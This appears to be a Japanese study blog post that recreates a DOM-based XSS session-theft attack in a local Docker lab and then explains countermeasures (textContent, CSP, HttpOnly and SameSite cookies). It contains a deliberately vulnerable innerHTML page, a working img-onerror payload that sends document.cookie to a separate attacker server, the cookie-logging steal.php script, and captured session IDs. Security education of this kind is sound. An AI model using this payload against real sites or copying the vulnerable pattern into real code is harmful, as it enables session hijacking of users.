🎯 概要
今回は、DOM-based XSS(クロスサイトスクリプティング)の脆弱性を悪用して、セッションIDを盗み出す攻撃シナリオをローカル環境で再現してみました。
経緯
情報処理安全確保支援士の勉強をしている際に、XSS関連の話はよく出てきます。特にXSSの種類(格納型、反射型、DOM-based)やその特性について要求されるため理解する必要があるのですが、このDOM-basedだけいまいちわかりづらい(笑)
そのうえで、何か手を動かして勉強に繋がることをしたいと考えていたので、今回の記事をまとめるに至りました。
目的:
- XSSの仕組みと危険性を理解する
- クッキーに保存されたセッションIDを盗める実例を見る
- 安全なWeb実装のポイントを学ぶ
🏗️ 構成概要
これらはDocker上でコンテナを立てています。
役割 | URL | 内容 |
---|---|---|
被害者サイト | http://localhost:8080/login.php |
セッション管理あり |
攻撃用サイト | http://localhost:8080/xss.html |
XSSを実行 |
攻撃者サーバ | http://localhost:9090/steal.php |
クッキー受け取り |
1. 被害者ページ(login.php)
<?php
session_start();
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = 'user123';
setcookie("session_id", session_id(), time()+3600, "/");
}
?>
<html>
<body>
<h1>ようこそ <?= $_SESSION['user'] ?> さん</h1>
</body>
</html>
アクセスすると、以下のようなクッキーがブラウザに設定されます。
session_id=xxxxx...
2. 攻撃用ページ(xss.html)
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>XSS Page</title></head>
<body>
<h2>DOM-based XSS 実験</h2>
<div id="output"></div>
<script>
const param = new URLSearchParams(location.search).get("msg");
document.getElementById("output").innerHTML = param;
</script>
</body>
</html>
このスクリプトがXSSの脆弱性ポイントです。
3. 攻撃用URL(デコード後)
<img src=x onerror="window.location='http://localhost:9090/steal.php?c='+document.cookie">
攻撃者はこれをURLエンコードして被害者に踏ませます:
http://localhost:8080/xss.html?msg=%3Cimg%20src%3Dx%20onerror%3D%22window.location%3D%27http%3A%2F%2Flocalhost%3A9090%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%22%3E
4. 攻撃者側:クッキー収集用スクリプト(steal.php)
<?php
file_put_contents("log.txt", $_GET["c"]."\n", FILE_APPEND);
?>
アクセスされると、以下のように log.txt に書き込まれます。
5. 実際のログ
PHPSESSID=cf6d186c6d49ee57f8f9124fb7f85319; session_id=cf6d186c6d49ee57f8f9124fb7f85319
成功です。セッションIDを盗むことに成功しました。
🧭 攻撃の流れ(図解)
🔐 なぜ危険なのか?
ユーザーがログインしている状態でこの攻撃を踏むと、認証状態のままクッキーが奪われる
攻撃者はそのクッキーを使ってなりすましログインが可能になる
✅ 対策方法
1. innerHTML の代わりに textContent を使う
document.getElementById("output").textContent = param;
2. Content-Security-Policy(CSP)の導入
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
インラインスクリプトの実行をブロックできます。
3. クッキー属性の設定(HttpOnly, SameSite)
setcookie("session_id", session_id(), [
"expires" => time()+3600,
"path" => "/",
"secure" => true,
"httponly" => true,
"samesite" => "Strict"
]);
-
HttpOnly:JSからのアクセスを防止
-
SameSite=Strict:クロスサイトでクッキーが送られない
📝 まとめ
-
DOM-based XSSは、サーバー側のバリデーションでは防げない。
-
フロントエンドの安全なコーディングが非常に重要。
-
「ユーザーの入力をHTMLに挿入するときは、エスケープかtextContentを使う」を徹底。コード規約ですね
👀 最後に
XSS対策はWebアプリ開発者ならもちろんですが、資格試験(情報処理安全確保支援士など)を目指す方にとっても非常に大事な知識です。ただ、DOM-basedはわかりづらいいため、この記事が理解の一助になれたら幸いです。